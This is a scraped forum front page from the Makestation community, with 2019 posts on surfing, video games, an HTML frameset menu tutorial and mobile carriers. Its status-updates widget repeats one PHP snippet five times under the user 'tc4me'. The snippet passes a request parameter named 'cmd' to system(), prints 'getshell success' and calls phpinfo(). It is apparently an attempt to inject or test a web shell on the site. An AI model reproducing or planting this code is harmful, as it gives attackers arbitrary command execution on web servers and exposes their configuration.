| Welcome, Guest |
Welcome to Makestation! We are a creative arts/indie discussion community — Your center for creative arts discussion, unleashed!
Please note that you must log in to participate in discussions on the forum. If you do not have an account, you can create one here. We hope you enjoy the forum!
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
View all updates
|
|
|
| Any surfers here? |
|
Posted by: Darth-Apple - February 16th, 2019 at 4:28 AM - Forum: General Discussion
- Replies (2)
|
 |
I bought my surfboard and my wetsuit a little while ago, and finally took it out this afternoon, with a buddy of mine. Mind you, yes I'm on the east coast in NC, but it's February, and the water is about 50 degrees. The wetsuit keeps you warm, or at least it's supposed to. I ordered a very cheap one off of some website, and it looks great, but trust me, it's definitely not the best wetsuit in the world. A lot of cold water got in and I had quite a bit of trouble staying warm.
Got fairly comfortable hanging on to a board in the water, was out for about an hour and a half, and then I got too cold to continue on. My hands were dark purple and I was shivering profusely. I had lost most of my coordination and had some trouble swimming to shore. Looks like I'm either getting a better wetsuit, or waiting until March when the water warms up a little more. Or maybe just not staying in the water for an hour and a half, I think my body can stay warm for at least 30 minutes... :
Anyone else here Surf or have any tips? I live in a beach town, it's kinda a rite of passage around here, but this is much harder than it looks. Considerably so as well. 
|
|
|
| effone here ... |
|
Posted by: effone - February 12th, 2019 at 2:18 PM - Forum: Introductions
- Replies (6)
|
 |
Hello,
This is effone.
All my lost friends are here so they don't need my intro.
For those who don't know me - I am just another member who does some design and coding here and there.
Guardian spammed me in, so big thanks to him.
... looking forward.
|
|
|
|
| Resident Evil 2 |
|
Posted by: Thomas - February 12th, 2019 at 2:14 AM - Forum: Other Games
- No Replies
|
|
Just got the new remake of RE2. It's absolutely terrifying, and really good! Anyone else playing this?
|
|
|
|
| Frames based design with unified menu and sub-pages loading on index.html |
|
Posted by: SpookyZalost - February 10th, 2019 at 7:20 PM - Forum: Resources & Tutorials
- No Replies
|
 |
Seeing as there have been a few template's I figured I might as well share a basic version of the site design I came up with most recently since it not only has a unified page menu but only uses HTML and CSS!
this should be the index .html
Code: <!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="style.css">
</head>
<frameset cols="200px,*" frameborder="0" border="0">
<frame src="menu.html" name="nav">
<frame src="home.html" name="main">
</frameset>
<body bgcolor="#ffffff">
</body>
</html>
your home page.html file name/location should be put where home.html is.
your navigational menu should be placed where menu.html is
finally if you change cols to rows you can have your menu on top or below your main page so it's very flexible for a basic design.
Code: <!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="menu.css">
</head>
<body bgcolor="#ffffff">
<center>
<table class="custom menu class here" cellspacing="0" cellpadding="0" border="0"><tbody>
<tr><td><center><a href="home.html" target="main">Home</a></center></td></tr>
<tr><td><center><a href="item1.html" target="main">item1</a></center></td></tr>
<tr><td><center><a href="item2.html" target="main">item2</a></center></td></tr>
</tbody></table>
</center>
</body>
</html>
this is the menu code I use.
the target is set to main to go with the above html, so long as your target in this page matches the name of the frame you want it to show up in any link you setup this way will load in that sub frame specifically thus keeping your menu intact, and your visitors never actually leave your primary page. as for the main page, you can put whatever there because it will change depending on what option they click on the menu, just make sure you set your initial page to the one you want the site to load first on your index.html and "home" buttons.
as for the table, I find this makes a very nice menu that works on just about every device with a graphical web browser, you can set the class to customize the look and feel using CSS the same way you use buttons
I like to use a separate CSS file for just the menu so I can design it without affecting the rest of the site.
Code: /*menu font */
@font-face {
font-family: familyhere;
src: url('fontfile');
}
and finally this bit allows you to use a custom font for menus thus avoiding the need to use images for menu buttons and allowing the site to load that much faster.
I've gone ahead and taken a screenshot that shows how it looks put together with a VERY rudimentary home page, colored so you can see how it separates the menu from the main page.
It's very basic but it works!
![[Image: lRSsrxI.png]](https://i.imgur.com/lRSsrxI.png)
and the best part?
the frame rows and columns, you can have as many as you want, have different links go to different pages, and all sorts of stuff, so if you want say a 3 column page layout, you can totally do so.
should work great for blogs too.
anyway hope this helps someone out there lol, it took me 6 months to work out!
|
|
|
|
| Imperator: Rome |
|
Posted by: Guardian - February 8th, 2019 at 3:20 AM - Forum: Other Games
- No Replies
|
 |
Forge the Greatest Empire the World Has Ever Known
Imperator: Rome is the upcoming grand strategy title from Paradox Development Studio. Set in the tumultuous centuries from Alexander’s Successor Empires in the East to the foundation of the Roman Empire, Imperator: Rome invites you to relive the pageantry and challenges of empire building in the classical era.
The Senate and People of Rome are counting on you to speak up in defence of a republic under siege!
https://www.paradoxplaza.com/imperator-r...ASTER.html
Definitely interested in this game.  Anyone else?
|
|
|
|
| T-Mobile vs. AT&T |
|
Posted by: Darth-Apple - February 7th, 2019 at 4:29 AM - Forum: Technology & Hardware
- Replies (3)
|
|
Past experiences aside, I think I'm maybe a tad bit biased towards T-Mobile. Their network is kick a** and has improved significantly over the past few years. They have some dead spots in some rural areas. They literally have no low band (600/700 mhz) in large areas of my state, which by the way, is a pretty big deal. Every carrier has low bands. These are the bands that go far from the tower and provide a solid signal behind trees, cars, inside houses, etc. T-Mobile literally lacks this band in some areas of the country, including where I'm at. If I'm any more than a mile from a tower, it's spotty coverage. (This is not a problem everywhere. It very much depends on where you are at, and they are actually building a new band that will function next time you upgrade your phone, for many areas of the country at least. )
But honestly I don't really hold it against them too much because, even without this low band that every other carrier has, their coverage was absolutely fantastic inside of the city limits. Yes, I know, every carrier's is. I'm not talking about dead spots. I'm talking about speeds. I could literally pull 90 mbps. No other carrier I've ever been on has pulled those kinds of speeds without it being some kind of an outlier. Literally, this network was blazing (faster than WIFI) fast. Screaming fast - consistently. Very much blown away and impressed... You would have to try it to see how fast this network truly is.
AT&T, by comparison, has considerably better rural coverage and has a fairly reliable network as well. I have no complaints, but they are a little pricier. Their network is definitely noticeably slower. Granted, it's still very good, and outruns Sprint any day. But would I replace WIFI with it? Maybe I'm spoiled, but probably not... Also, whereas T-Mobile is pretty much either LTE coverage or no coverage, parts of AT&T's coverage area is legacy networks such as 3G and 2G networks. It's a little less consistent than T-Mobile's for that reason, but you're more likely to get at least some type of coverage when you're out in the far unknown.
I do hope T-Mobile continues to grow and expand at the rate it is expanding. They seem to have done an awesome job radically improving their network over the last few years. But, for the time being, I'm with AT&T, mainly because T-Mobile has poor coverage out in the area where my family lives. What are your guys' thoughts?
|
|
|
|
|
![[Image: Untitled-1.png]](https://i.ibb.co/0JdQSj0/Untitled-1.png)
![[Image: Untitled-1.png]](https://i.ibb.co/v1GJjVZ/Untitled-1.png)
![[Image: Screen-Shot-2019-02-07-at-8-35-27-PM.png]](https://i.ibb.co/2MpdfHR/Screen-Shot-2019-02-07-at-8-35-27-PM.png)
![[Image: a1dcc93bf86fc9aa19778c775845dd7e9cfd07d6_image-12.png]](https://alliance-of-american-football.cdn.prismic.io/alliance-of-american-football/a1dcc93bf86fc9aa19778c775845dd7e9cfd07d6_image-12.png)
